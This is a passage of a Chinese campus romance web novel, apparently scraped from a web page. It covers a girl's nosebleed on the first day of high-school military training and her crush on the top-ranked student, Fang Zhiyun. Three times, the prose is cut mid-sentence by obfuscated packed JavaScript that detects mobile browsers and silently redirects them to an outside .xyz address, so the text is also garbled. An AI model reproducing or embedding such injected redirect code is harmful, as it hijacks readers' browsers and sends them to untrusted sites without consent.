《陈岁昭昭》 1. 第一章 八月底的阳光还带着盛夏的余威,不过清晨就已经感受到灼热,刺眼的光毫不吝啬地泼洒在新铺就的塑胶操场上,连吹来的风都好似带着热气,没一会儿就流了一头的汗。 空气里弥漫着陌生的兴奋与躁动,崭新的红白色校服在阳光下显得格外晃眼,高马尾随着走动一晃一晃。 陈以昭拖着行李箱,正夹在闹哄哄的新生人潮里,她昨晚太过兴奋,满是对高中生涯的期许,以至于起的晚了,这会儿正有些茫然地寻找着自己班级的集合点,万分担忧自己会不会错过大巴车。 黔州一中的传统,高一新生会在开学前进行为期一周的军训,目的是为了锻炼学生,培养学生的能力,也提前让新生适应接下来的住校生活,这次军训选在一个运动基地,也早早就通知每一个新生。 对于这次军训,陈以昭早早就开始期待,她高中之前都是走读,初一的军训在学校操场进行,初二的农训因为过敏请假,所以对这次的基地军训充满了好奇,谁知道反而期待过了头,这不,差点迟到了。 “5班,5班,5班在哪儿集合来着?”陈以昭口中絮絮叨叨着。 她走的很快,又拖着行李,额头的汗水打湿了鬓角的碎发,走到篮球场时,有不少学生在那儿打球,一声声的呐喊,让本就炎热的天气更热了,不由停下脚步皱着眉抬手扇风,就在这时,一阵尖锐的破风声毫无预兆地从侧后方袭来! “小心!!” 惊呼声刚起,陈以昭没听清,只是顺从身体本能下意识地偏了偏头。 下一秒—— “砰!”一声沉闷的撞击精准地砸在她的鼻梁上。 剧痛伴随着难以言喻的酸楚瞬间炸开,眼前金星乱冒,只觉得鼻子顿时失去了知觉,脑袋嗡嗡作响,整个世界仿佛翻转过来漆黑一片,连意识都开始逐渐涣散。 她踉跄着后退一步,捂住鼻子,一股温热的液体已经汹涌地冲破了指缝,下一秒,失控飞来的篮球就掉落在脚边,轱辘滚动了几圈。 像是被这突如其来的局面吓一跳,周围瞬间安静了一瞬,随即爆发出更大的喧哗和几声带着歉意的“对不起”,几个身穿篮球服的男生慌乱的围了过来,像无数只蚊子一般嗡嗡的吵闹。 “都说了传给我,传给我,你眼睛长屁股上啊!” “我以为王狗能接到,谁知道这么没用!” “怪我?人是你砸的,也是你非说今天高一军训来凑热闹,怎么能怪你爸爸我呢!” …… 他们自知理亏的吵闹起,像是互相在责怪,也好像再询问怎么办,但陈以昭什么也听不清,鼻血像决堤的洪水,完全不受控制地流淌而下,瞬间染红了胸前簇新的校服前襟,刺目的鲜红在白得发亮的布料上迅速蔓延、晕染,开出一朵狼狈而血腥的花。 “嘶~~”她疼得倒抽冷气,生理性的泪水模糊了视线,眩晕感一阵阵袭来,狼狈不堪地蹲了下去。 这个动作并没有对疼痛有分毫的缓解,反而感受到周围的目光像针一样扎在她身上,好奇的、同情的、甚至带着点看热闹意味,像是再看一出惊喜上演的闹剧,让她感到窘迫的同时恨不得立刻原地消失。 完了,开学第一天,就以如此惨烈的方式“惊艳”全场,丢人丢大了,我说几位,能不能先别怪来怪去了,到底有没有人来管管我的死活! 陈以昭绝望地想,眼泪混着血水,咸涩地滑过嘴角。 就在她几乎要被这铺天盖地的尴尬和不适感淹没,思考着自己倔强爬起来去医务室,且不会晕倒的成功机率有多大时,一片阴影无声地笼罩下来。 眼前,一只干净修长的手,递到她低垂的视线下方,手指间捏着的,是一包小小的、粉白色包装的纸巾。 包装上,“心心相印”四个印刷的字迹清晰可见。 陈以昭怔住了,甚至忘记了鼻子的疼痛和不断流淌的鼻血,她捂着鼻子有些茫然迟缓地顺着那只手慢慢抬起头。 刺目的阳光让她眯起了眼,被泪水打湿的睫毛糊在一起,将视线变得模糊不清,逆光中,一个清瘦挺拔的身影立在她面前,挡住了大部分的光线,像是有光晕从他身上扩散开来。 他穿着和她一样的红白色的校服,却异常整洁服帖,不像大多数男生那样衣襟敞开,也没有松垮臃肿,衣服干净,衣领整齐,就连袖口都贴合手腕,每一个皱褶都刚好合适,甚至能闻到一股柠檬味洗衣液的香味,干净清爽,驱散了逐渐燥热起来的暑气。 模糊的视线顺着衣领向上攀爬,掠过线条干净的下颌,最终,猝不及防地撞进了一双眼中。 那双眼,是陈以昭从未见过的平和,像初春清晨冰层融化的湖面,柔和,带着一种疏离的、仿佛置身事外的淡然,没有过多的情绪,没有好奇,也没有明显的同情,只是平静地看着她此刻的狼狈。 流动的时间仿佛在这一刻停止,鼻腔里浓重的血腥味、校服前襟的粘腻、黏热难耐的热气,周围的喧嚣嘈杂…… 所有的一切,都在触及那双眼眸的瞬间,被按下了暂停键。 “擦擦吧。” 他的声音响起,和他的人一样,清风朗月,没什么温度,却异常清晰地穿透了周围的嘈杂和纷乱,落在了她耳中。 陈以昭愣愣看着,像被施了定身咒,大脑一片空白,十六年来从未有过的剧烈心跳,在这一刻,彻底失控。 咚!! 咚咚!! 咚咚咚!! 隔着那层薄薄的皮肉组织,像有一面鼓在胸腔里疯狂擂动,震得她耳膜嗡嗡作响,盖过了所有声音,甚至盖过了鼻梁的钝痛,能清晰地感觉到血液猛地冲上脸颊,带来一阵滚烫。 虽然没有镜子,但是陈以昭想不用想,就知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996377|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己鼻血横流,眼泪婆娑的样子极其狼狈不堪,尤其在这人的注视下。 少女总是好面子,那种窘迫感达到了顶峰,也不知是热的还是晒的,脸红的异常,几乎是颤抖着伸出手,接过了那包小小的“心心相印”。 两只手相碰时,指尖不可避免地触碰到男生微凉的指节,那一点冰凉却像盛夏时的火星,点燃了无垠的草海,心火“腾”地一下烧穿了所有平静,烫得她猛地缩回手,心脏几乎要从喉咙里跳出来,连忙低下头。 “谢……谢谢……”她嗫嚅着,声音从指缝中溜出,细如蚊蚋,带着浓重的鼻音和无法控制的哭腔,连自己都听不清,远没有平日里的镇定。 少年似乎并未听清,也不在意陈以昭的反应,他看不见这个女孩的模样,只从刚刚匆匆一瞥到的通红眼睛中,明白她泄露出来的局促。 目光在她染血的校服上停留了一瞬,随即转向旁边围观的人群,带着少年气的声音不大,却带着一种奇异的穿透力:“麻烦让让,她需要去医务室止血。” 听到这话,先前打球那几个男生这才后知后觉反应过来,手忙脚乱的将陈以昭搀扶起来,又急急忙忙把倒在一旁的行李箱拉了起来,大声嚷嚷着让其他人让开,有一种再晚一步人就没气了的急迫。 “别围着了,都让让,都让让。” “同学你撑住,我们这就送你去医务室。” “王狗,愣着干嘛,把人行李箱拿上啊!” 人群下意识地分开一条路,少年也被簇拥上来的那三个男生挤出了中心圈,隔着人群,他看不见女生的反应,却也明白剩下的事不用自己操心,然后转身离开,逆着人群往和陈以昭相反方向走去,背影挺拔,步伐沉稳,红白色的校服在阳光下划开一道干净利落的线条。 陈以昭抽出纸巾捂着鼻子,紧紧攥着那包仿佛还残留着他指尖温度的“心心相印”,晕乎乎地被人搀扶着快步离开,她左右张望着,试图在人群中搜寻那道熟悉的身影。 扭头时,隔着层层叠叠的人群,她看见了少年的背影停在不远处,侧头同一个男生说了几句,离得太远她听不见,只看到男生加快了步伐小跑起来,转眼间便消失在视野之中。 鼻血似乎还在流,染红的手指捏着纸巾胡乱擦拭着,崭新的校服前襟已经一片狼藉,每一步都像踩在棉花上,眩晕感并未消退,但胸腔里那股陌生的、剧烈的悸动,却比鼻血更汹涌,更难以平息,仿佛快要冲破桎梏而出,彻底搅乱了她高一开学的第一天。 陈以昭狼狈地低着头,视线却不受控制的落在了手中那包小小的粉色纸巾上,很新很干净,仿佛和它的主人一般。 她不认识他,不知道他在哪一班,甚至不知道他叫什么,但是在这一刻,那道如白杨挺拔的背影连同那双平和疏离的眼,以一种极其狼狈的方式,深深烙进了十六岁少女失控的心跳中。 2. 第二章 窗外的吵闹声混合着喇叭里传出来的呼喊,充斥着校园里的每一个角落,时不时还伴随着急促的脚步声,树枝摇曳,光影交错,风吹动白色的窗帘布,医务室里消毒水的味直冲鼻腔,令人不由的皱紧眉头。 陈以昭被迫仰着头,鼻子里塞着校医刚放进去浸了药水的棉条,冰凉的感觉稍微压下了火辣辣的痛楚和持续不断的血流冲动,她倒是没什么反应,反观旁边三个罪魁祸首,一边挨训,一边伸长脖子十分担忧的注视着自己,生怕有点风吹草动,不停说着机灵话逗乐大家。 “咚咚——”敲门声骤然响起。 胖胖的女校医推了推滑落到鼻梁的眼镜,扬声回应,“进。” 说话声刚落下,医务室的门被人推开,与之而来的是一道满是担忧的少女呼喊声,“昭昭!” 陈以昭听见声音下意识低头看去,一旁的校医瞧见了连忙制止,双手不停摆动,“欸,别动,别动,一会儿药水淌出来了。” 没办法,陈以昭只能保持刚刚那个动作,以一个鼻孔朝天极为滑稽的姿势垂眸,看着来人站在自己面前,笑着打招呼,“温梨,你咋来了?” 温梨听到校医给班主任打电话说陈以昭受伤的消息,担心不已,自告奋勇跟了过来,一路上跑得气喘吁吁,圆圆的脸颊泛红,额角的汗珠在光线下闪着细碎的光,大眼睛里盛满了毫不掩饰的担忧。 等温梨从门外走了进来,陈以昭这才注意到紧随其后的班主任,人一多,这小小的医务室顿时变得拥挤起来。 李文民平日里温和的面容此刻绷得紧紧的,眼神锐利地扫视着陈以昭的状况,因为有老师在的缘故,刚刚还轻松的氛围变得严肃起来。 “昭昭!你怎么样?没事吧,疼不疼?”温梨冲到陈以昭面前担忧的问,余光瞥见地下刚刚用来擦拭的纸团,更是没忍住惊呼出声,“怎么出了这么多血?” 温梨着急的冲到陈以昭面前蹲下,一把抓住她没沾血的那只手,力气大到指甲都掐进肉里,但那疼痛里包裹着的是沉甸甸的关心,反倒让陈以昭心头一暖。 “没,没事的,涂过药了,”陈以昭瓮声瓮气地回答,鼻塞让她声音发闷,“就是鼻子还有点酸。” 看到温梨满头的汗和担心的神情,陈以昭抽出手拍了拍人手背,还忍着难受,咧开嘴朝人露出一口白牙以示安慰。 李文民这会儿也快步上前,作为一个男老师不好上手查看,只是仔细检查了陈以昭塞着棉条的鼻子和那片狼藉的校服,语气急切但努力放柔,显得没有那么严肃的询问:“陈以昭同学,你现在感觉如何?头晕恶心吗?除了鼻子,别的地方有没有伤着?比如头?还有什么不舒服的一定要告诉老师,千万不要逞强。” “李老师,其他地方没有受伤,就鼻子被砸了,流鼻血也只是看着吓人而已,现在好多了,头也不晕,校医说休息会儿就好了。”陈以昭听完赶紧摇头,动作不敢太大,怕牵扯到鼻子。 听到她逻辑清晰,回答清楚,也没有什么胡言乱语牛头不对马嘴的回答,李文民紧绷的神经才稍稍放松,长舒了一口气。 “还好还好,人没事就好。”说完李文民安抚了一句,随即脸色一沉,目光如电般射向门口,他教高中三个年级的政治,自然认出站在门口那几个闯祸的男生是自己教的学生,这会儿三人像被霜打蔫了的茄子,垂头丧气地杵在那里。 其中高个子瞥见李文民看过来的眼神,忙低下头,懊恼地挠着后脑勺,小声嘟囔:“本来想趁着开学前凑个热闹,真邪门儿,怎么就那么准……” 话没说完,旁边一个微胖的男生用手肘捅了他一下,挤眉弄眼示意他闭嘴,自己却忍不住上前一步顶着压力对陈以昭小声说了句:“同学,对不住啊,真不是故意的,你说你也挺倒霉,这开学就‘血光之灾’哈。” 被另一个戴眼镜的男生踩一脚,反应过来自己说了啥,尴尬笑笑,反倒是眼镜男推了推眼镜,不好意思地补充:“刚刚阳光太刺眼了,没看清方向,实在对不住。” “编,继续编,你们三惹的祸还少了?”李文民的声音陡然拔高,怒火瞬间点燃,“高二还没开学吧,高一开学军训你们来凑什么热闹!作业写完了吗?考试及格了吗?不在家里复习高二的内容就算了,操场那么多人,打球不看方向?球是专往人脸上招呼的吗,我看你们是精力旺盛得没处使了。” 他指着门口三人怒骂,气势逼人,“太闲了,一天天的净找事,我现在就给你们孙老师发消息,让她喊你们父母来学校一趟,看看这事怎么处理!” 听到这话,三人脸色骤变,忙慌乱认错道歉,生怕被请家长被记过。 陈以昭感觉到鼻血没有继续流,垂下仰着的头正好瞧见三人惶惶不安的神情,想了想自己确实没有什么大问题,没必要大题小做把事情闹大,而且要是真请家长了她期待已久的军训八成也没戏,于是出声:“李老师,他们也不是故意的,也已经道过歉了,再说我也没什么大问题,要不然就算了吧。” 李文民其实也是吓吓他们几个,听陈以昭这么说,也就顺杆子下,板着脸训斥:“人陈以昭不追究是人大度,你们三个回去每个人写一千字的检讨,开学的时候交给你们班孙老师,听见了吗!” “听见了,李老师。”三个男生像被掐住脖子的鹌鹑,缩着脖子连连应声,大气不敢喘,高个子的男生做了个鬼脸,胖男生苦着脸,眼镜男则一脸“完了完了”的表情,挤眉弄眼的瞧着十分滑稽。 李文民被他们刷宝的行为搞得又气又笑,狠狠剜了他们一眼,才转向陈以昭,语气缓和下来:“陈以昭,你确定身体没问题?能坚持去军训吗?不行千万别勉强,砸到鼻子可大可小,要不我立刻联系你家长来接你回家休息,军训是小,身体是大。” “我能去,李老师!真没事了!不用通知我家长!”听到这话,陈以昭顿时一慌,立刻坐直身体,语气坚决的表明态度。 对于这次军训她可是期待已久,第一次集体活动就掉队,岂不是显得很不合群,三年的高中生涯一定会有遗憾的,况且…… 她下意识地用手指摩挲着口袋里那包小小的纸巾,藏着自己不能言说的其他心思。 “真的没问题?”李文民不放心地再次确认。 “真的!”陈以昭声音又提高了一点,低头看着胸前那片顽固又碍眼的红褐色污迹,眼中闪过一丝烦躁和沮丧,但是生怕自己的迟疑落在李文民眼中是其他意思,再次重复了一遍,“李老师,我真的没事。” 一旁的温梨瞧见她低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996378|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头时眼中闪过的情绪,神色若有所思。 “行,那你再缓缓,我们马上集合,有什么不舒服一定要告诉我,”李文民见她态度坚决,精神状态也没什么大问题,只能点点头,又严厉地扫了一眼墙边站着的那三个“活宝”,厉声道:“你们三个还在这里站着干嘛,等着我找轿子来抬吗!” 说完,他急急忙忙地转身,边走边掏出手机拨号,没一会儿声音清晰有力的传来:“喂?王师傅吗?对,高一(5)班这边出了点小状况,刚处理好,我们马上过去集合,不会耽误太久,大概等十分钟左右,麻烦您跟其他车司机也通个气儿……” 那几个男生跟在李文民身后,临走前纷纷回头朝着陈以昭歉意笑笑,嘴巴大开大合做着嘴型,过于夸张的表情其实看不出来说了些什么,却让陈以昭笑了笑。 医务室里安静下来,只剩下校医、陈以昭、温梨,校医交代完注意事项后就坐在自己位置上看起了韩剧。 “好好的开学怎么弄成这样啊,”温梨看着陈以昭的惨状,心疼又无奈,她的目光落在陈以昭胸前那片触目惊心的血迹上,眉头紧锁,“这衣服看着太扎眼了,又只发了一套校服,现在去洗也来不及了。” 陈以昭低头看了眼校服上还没干涸的血渍,更烦躁了,泄愤似的揪着那片污渍,恨不得把它从布料上撕下来。 “别揪别揪,我有办法,”温梨按住她的手,脸色露出浅浅的笑意,“校医老师,能借我们一点卫生纸吗?” 校医盯着电脑屏幕里正在帮助鬼魂完成任务的韩剧女主,指了指桌上那卷厚厚的公用卫生纸。 温梨二话不说,扯了一大叠厚厚的卫生纸过来,蹲在陈以昭脚边,仰着头说:“你稍微侧过来点。” 她让陈以昭侧身,然后手脚麻利地把厚厚的卫生纸一层层、仔细地铺在陈以昭胸前那片湿冷粘腻的血污内侧,隔着校服布料,用手掌用力地按压、吸附,看着红褐色的血渍一点点变淡,每一个动作都干脆利落,带着一种被生活磨砺出的熟稔。 “我有时候衣服弄脏了或者湿了,一时半会儿洗不了又得穿,就这么处理,”温梨一边用力按压着,一边抬着头解释,语气平常却透着一种坦然,“血渍会随着水分被吸附到干的卫生纸上,而且卫生纸吸水快,多垫几层,能吸掉不少湿气也能稍微挡挡颜色,很有用的。” 陈以昭看着温梨专注而麻利的动作,心中暖暖的,她俩是初中同学,她知道温梨家境不太好,爸爸断了一条腿,全靠她妈妈在天桥上挑着担子卖水果抚养他们姐弟三人。 所以温梨从小就懂事,很多事情都靠自己摸索解决,比很多人同龄人都要独立,虽然这法子有点“土”,但在此时此刻,却像一场及时雨,给了狼狈不堪的陈以昭最实际的安慰。 厚厚的卫生纸迅速被染红浸透,温梨麻利地换上一叠新的,继续按压,果然,血渍少了不少,虽然还能看见淡淡的印记,但是比起刚刚看起来好多了,心理上也没那么膈应。 “暂时只能这样了,”温梨把吸饱了血的脏纸团扔进垃圾桶,拍了拍陈以昭的肩膀,“走,集合去,再晚李老师该急了。” 两个女孩手牵手说笑着离开。 校医扭头看着少女们的背影笑着摇了摇头,“青春啊!” 3. 第三章 操场上,各班队伍已基本整理完毕,喧闹中带着即将出发的兴奋,正有条不紊的排着队上车,陈以昭顶着鼻子里塞着的棉条站在高一(5)班的队列末尾中,一路上引得不少注目。 其他同学也听说她开学一天就遭受“血光之灾”的消息,眼中满是好奇和探究,但没人敢开口询问,直到站在陈以昭前面那个,将校服穿的松垮垮叫周斐的男生转身,凑了过来低声好奇开口:“听说你第一天就得罪高二的了?真的假的?” 这话一出,所有人都竖起了耳朵,十六七岁的少年们眼中满是对新环境和新同学的陌生,但也正是因为少年心性,只需要同住一个小区,同一个初中毕业,追同一个番,同一个爱好……三言两语间就能迅速拉近距离。 陈以昭并不是自来熟的性格,但是她健谈乐观爱交朋友,别人主动找她聊天,她也不会拒绝,将刚刚发生的事绘声绘色的描述了一番,去掉了尴尬的情节,专挑有意思的说,字里行间的自嘲和无奈惹得众人笑出声,连隔壁班的都凑了过来,没一会儿就和周围的同学熟络起来。 站在一旁的温梨看着处在人群中心的陈以昭,眼中闪过只有自己才知道的羡慕,同样是新生,同样处于一个陌生的环境,但是陈以昭就是有这种吸引别人目光的能力,从初中开始就这样,无论是成绩好的,还是成绩差的,甚至是班上别人口中的x哥,x姐的“坏学生”,都能和她聊得来,没有人会讨厌陈以昭,好像所有人都喜欢陈以昭。 温梨愣愣的看着,抿着唇低下了头。 说笑时,一个班的队伍正好从他们班队列前面走过,末尾的陈以昭手舞足蹈聊得上头,压根没有注意到她口袋里那包纸巾的主人从5班前走过。 而男生似乎正垂眸听着旁边的同学说着什么,微微侧头带着点漫不经心,目光不经意间扫过这边,在陈以昭这个方向极其短暂地停顿了零点几秒,眼神里似乎掠过一丝极淡的的疑惑,像是突然回想到了什么。 “看什么呢?”身后一个男生笑着推了他一把,两人关系不错,顺着视线看去还不忘调笑道:“不会看上其他班美女了吧,也让我瞅瞅。” 男生收回目光,反手给了身后的人一拳,笑骂了一句便收回了视线,仿佛刚才那瞬间的停顿只是错觉,不急不慢地走向停靠在校外的大巴车。 陈以昭扭过头,只看得见高一(1)班队伍的末尾,她不以为然收回视线,继续和同学聊天,等了几分钟才拉着温梨上了车。 刚在靠窗的位置坐下,大巴车就启动了,引擎的轰鸣和车厢里的喧闹交织在一起,口袋里的手机就在这时疯狂震动起来,陈以昭忙掏出来一看,屏幕上方已经被一个名为?毛坯四大才女?的扣扣群消息刷屏。 这个群是她们初中玩得最好的几个女生的小天地,除了她和温梨,还有乔安澜和杨羡,四人初中就关系好,又一起考上了黔州一中。 杨羡成绩好又参加了入学考试进的实验班,陈以昭和温梨过线进的科创班,乔安澜刚好到线进的平行班,即便不在一个班感情却没散,陈以昭猜测应该是慰问,果不其然点开群就看到铺天盖地的消息轰炸: 【一只羊:@自由发光体昭昭!听说你开学第一天就血溅操场了?[惊恐]】 【安是你爹:温梨说你被篮球爆头了,真的假的?流了多少血啊?你人还好吗?[大哭]】 【安是你爹:完了,没回消息不会晕死了吧?】 跳动的文字和夸张的表情包让陈以昭哭笑不得,隔着屏幕她都能想到其他两位的反应,嘴角扬起了一个小小的弧度,十指飞快的在键盘上打字回复: 【自由发光体:没爆头!是鼻子被篮球砸中!谢谢姐妹们关心![比心]不过,我人没事只是流了点血,还把校服弄脏了,[大哭]鼻子就当免费加固了!衣服嘛温梨已经帮我简单处理过了,就当开门红,红红火火![得意]】 欢快的语气和表情瞬间冲散了之前的担忧氛围,也让其余两人悬着的心落了下去。 【安是你爹:哈哈哈不愧是你,心态满分!对了,温梨呢,怎么没见她冒泡?】 【自由发光体:在我旁边呢。】 【一只羊:@自由发光体没事就好,没发生其他的意外吧?】 看着杨羡的消息,陈以昭脑海中不由浮现了一个人影,温梨见她目光呆滞探头看过来,自然也看见群里杨羡的话,出声说:“去医务室路上杨羡给我发了好多消息都是担心你,要不是1班集合,她也要跟着去。” 眨了眨眼,陈以昭将某个身影从脑海中赶出去,她不认识那个男生,也不知道人哪个班的,姓甚名谁,更没想好怎么说,总不能说自己见色起意了吧,那不得被乔安澜笑死,也得被杨羡的白眼嫌弃死,想了想继续打字回; 【自由发光体:没有了,哪来这么多意外,你们就不能盼我点好吗?】 【安是你爹:我有意外!我发现我们班的男生意外的丑,我不想待在12班了,嘤嘤嘤。】 对于乔安澜这个爱看帅哥的花痴属性,陈以昭和温梨见怪不怪,对视一眼都无奈的笑了,这时杨羡却在群里出声了: 【一只羊:说起帅哥,我们班好像有。】 【安是你爹:你就吹吧,我们平行班都没有,你们实验班一个赛一个的书呆子,哪儿来的帅哥,再说了昨天报道的时候我在你们班门口等你,除了一堆四眼仔没看到什么帅哥。】 【一只羊:昨天报道他没来,今天直接来军训,人确实长得帅还是今年入学第一名。】 温梨探头看到这儿也同乔安澜一样惊讶,可转念一想杨羡并不是乔安澜那种张口就来的性格,既然这么说肯定是有这个人,不由感叹,“杨羡这么说八成是真的。” 陈以昭也想到了这一点,在群里回: 【自由发光体:说的我都好奇了,你看你不够意思,一个人偷偷欣赏,啥时候带姐妹们饱饱眼福?】 【安是你爹:@自由发光体@冰糖雪梨,不管了,咱们到时候就蹲杨羡他们班旁边,是骡子是马一看便知。】 几人乱七八糟聊了一堆才结束,陈以昭按熄手机,温梨已经靠着她的肩膀开始打盹,她望着窗外的风景往外飞驰后退,载着她对新生活的期许。 不知过了多久,轮胎划过水泥地的刺耳声响起。 嘎吱—— 大巴车在飞扬的尘土中停稳,随着各班老师的呼喊,车上高一新生们像出笼的鸟儿拖着行李箱背着书包,一窝蜂涌入了郊外的军训基地,在基地领导简单的开场后,被带回了宿舍放行李。 这次选的军训基地是运动员训练的场所,距离市区很远,空气里弥漫着青草、泥土和某种类似油漆的独特气味,陈以昭和温梨拖着各自的行李,跟着基地负责人找到了分配给高一(5)班的简陋宿舍,十张上下铺的铁架子床将房间内挤得满满当当,足足能容纳下20个人。 宿舍空间有限,两个人面对面时连转身都不方便,行李箱也只能塞在床下,下铺的床坐上去还会发出吱呀的声响,惹得不少学生口中发出骂骂咧咧的声音,纷纷嚷嚷着早知道不来了。 “呼——总算能歇会了。”陈以昭把行李收拾好,活动了下僵硬的脖子,感受着鼻腔深处还残留着一点肿胀的异物感,随后将塞着的棉条取掉,才长松了口气。 她这个人享得了福吃得了苦,跟野草似得在什么地方都能存活,不仅不像其他人一样嫌弃,还对新环境充满了好奇,忙活完自己的事还不忘给别人搭把手,安抚烦躁的同学,还拿出她妈帮她准备的防晒霜和大家一起分享,宿舍里的咒骂声顿时被欢声笑语取代。 大家刚铺好床单,陆陆续续的集合哨声就尖锐划破了短暂的宁静。 “快快快!集合了!” 高一(5)班集合点在一处阴凉的空地上,午后灼热的阳光蒸腾起肉眼可见的热浪,所有人迅速按高矮列队。 站在最前方的教官姓周,是个皮肤黝黑、脸型方正的年轻军人,声音洪亮得像自带了扩音器,简单几句自我介绍的开场白后,便是一堆上厕所打报告,不能违反规定,见到教官要打招呼等要求,还夹杂着‘听从命令’、‘流血流汗不流泪’的口号,瞬间把轻松的氛围一扫而空。 随着众人的一阵哀嚎,真正的军训开始了。 “稍息!立正!” “向右看——齐!向前——看!” “报数!” 各式各样带着点口音的口令声,此起彼伏的报数声,杂乱的脚步,声在空旷的基地四处回荡,对于这群十六七岁的少年来说,军训是个费体力的活,才站了十多分钟的军姿,汗水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996379|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是争先恐后地冒出来,浸湿额前的碎发。 比起其他班在太阳底下暴晒,5班选的这个位置已经算很好了,可依旧累的人不行。 陈以昭努力挺直腰板,跟着教官的口令动作,鼻子里那点残留的不适在持续的站立和曝晒下被放大了,但她咬着牙,不想因为这点不适成为有特权的学生,只是偶尔和旁边同样晒得蔫蔫的温梨交换一个“坚持住”的眼神。 远处飘来的白云遮挡住灼热的阳光得到了一丝清凉,休息的哨声如同天籁,学生们仿佛被抽掉了骨头,在滚烫的地面上连滚带爬,拿起各自的水杯拼命灌着水,随后三五成群坐在一起聊天。 偶尔能看到其他班有试图偷懒的男生被教官抓个正着,哭丧着脸罚做俯卧撑或者蛙跳,跟说相声似的讨价还价引来周围一片哄笑声,也为枯燥的军训带来了一点趣味。 时间的流逝在口令与汗水中缓慢爬行,每一个动作都考验着这群温室花朵的意志力和体力,当傍晚解散的哨声终于响起时,如释重负的哀嚎和庆幸的欢呼响彻云霄。 站了一天军姿,陈以昭感觉两条腿像灌了铅,肩膀也又酸又沉,只想立刻瘫倒在宿舍的硬板床上。 “昭昭!温梨!这边!” 清脆的喊声传来,陈以昭闻声看去,只见杨羡和乔安澜正隔着人群站在不远处挥手。 杨羡剪着利落的短发,带着眼镜,整个人看着沉稳冷静;而乔安澜则留着一头卷发,五官精致性格活泼得像只小麻雀。 “你们班怎么解散这么晚。”乔安澜蹦跳着过来,亲热地挽住陈以昭的胳膊嘟着嘴不悦的说。 “我也想知道啊!”陈以昭哭丧着回答,“我感觉我能睡死过去。” 杨羡也走过来,上下打量了陈以昭一番,语气直接:“看着精神还行,没破相,还好没什么大问题。” 说着,她转向温梨,点了点头算是打招呼。 温梨温柔地笑笑:“她没事了,就是累坏了。” “走走走,吃饭去!饿死我了,”乔安澜一手挽着陈以昭,一手招呼着温梨和杨羡,顺着人群朝食堂方向走,“我跟你们说,我们班教官可凶了,隔壁班有两个男生偷懒被罚面对面蛙跳,跳得脸通红,笑死我了哈哈。” 去食堂的路不算近,夕阳把影子拉得很长,乔安澜的精力似乎无穷无尽,话题跳跃得飞快,突然想起了什么,眼睛一亮,猛地转向杨羡: “对了,你早上在群里说的那个第一名帅哥呢!”她松开陈以昭,兴奋地摇晃杨羡的胳膊,“人呢人呢?快指给我看看!是不是真的帅到没朋友?” 杨羡被她晃得翻了个白眼,一脸“又来了”的不耐烦:“乔安澜,你能不能消停会儿?累成狗了还有心思看帅哥?花痴病晚期没救了。” “哎呀,看一眼嘛!精神食粮!不看白不看!”乔安澜不依不饶,看向陈以昭,“难道你们就不好奇杨羡都觉得帅的帅哥长啥样吗?” 陈以昭眉头一挑,也笑着附和:“杨羡,不要藏着掖着,满足一下广大人民群众的好奇心嘛。” 温梨抿嘴轻笑,安静地看着她们闹。 杨羡被她们闹得没办法,眼神随意地往旁边一扫,恰好看到不远处,几个男生也正朝食堂走去,其中一人身形清瘦挺拔,穿着和大家一样的红白配色的校服,却仿佛自带隔离罩,在夕阳余晖中显得格外好看,他侧着脸,脸部的线条干净利落,正听着旁边同学说话,眼睛带了点笑意。 杨羡用下巴朝那个方向极其随意地一点,语气带着点被打扰的无奈:“喏,人在那儿,今年新生入学第一名,方知韫。” 陈以昭顺着杨羡示意的方向看了过去,原本随意的神色一顿,瞳孔猛地放大。 心脏像是被一只无形的手猛地攥紧,随即又疯狂地擂动起来!世界仿佛在那一刻被按下了静音键。 周围乔安澜还在兴奋地小声惊呼“哇塞真的帅!气质绝了!”,温梨温柔的附和,杨羡催促的抱怨…… 所有的声音都模糊远去。 她的视线牢牢地钉在那个挺拔的背影上,看着他随着人流,渐渐融入食堂门口熙攘的人群中,消失不见。 指尖贴着裤子口袋,无意识地摩挲着纸巾的轮廓,胸腔里的鼓点却经久不息。 原来,他叫方知韫。 4. 第四章 方知韫。 陈以昭盯着那道背影,舌尖轻轻抵着上颚,无声地念出这三个字,像含着一颗清冽的薄荷糖,口腔中凉意散开,却在心底酿出隐秘的甜。 她其实记不得自己是被谁拉着离开的,等稀里糊涂吃了饭,才从自己的胡思乱想中清醒过来,跟着班上其他同学去集合。 褪去了白天的灼热基地的夜晚变得凉爽,晚风裹挟着青草和泥土的气息,广场上灯火通明,教官们难得敛起白日的冷脸,到处都是笑声和歌声。 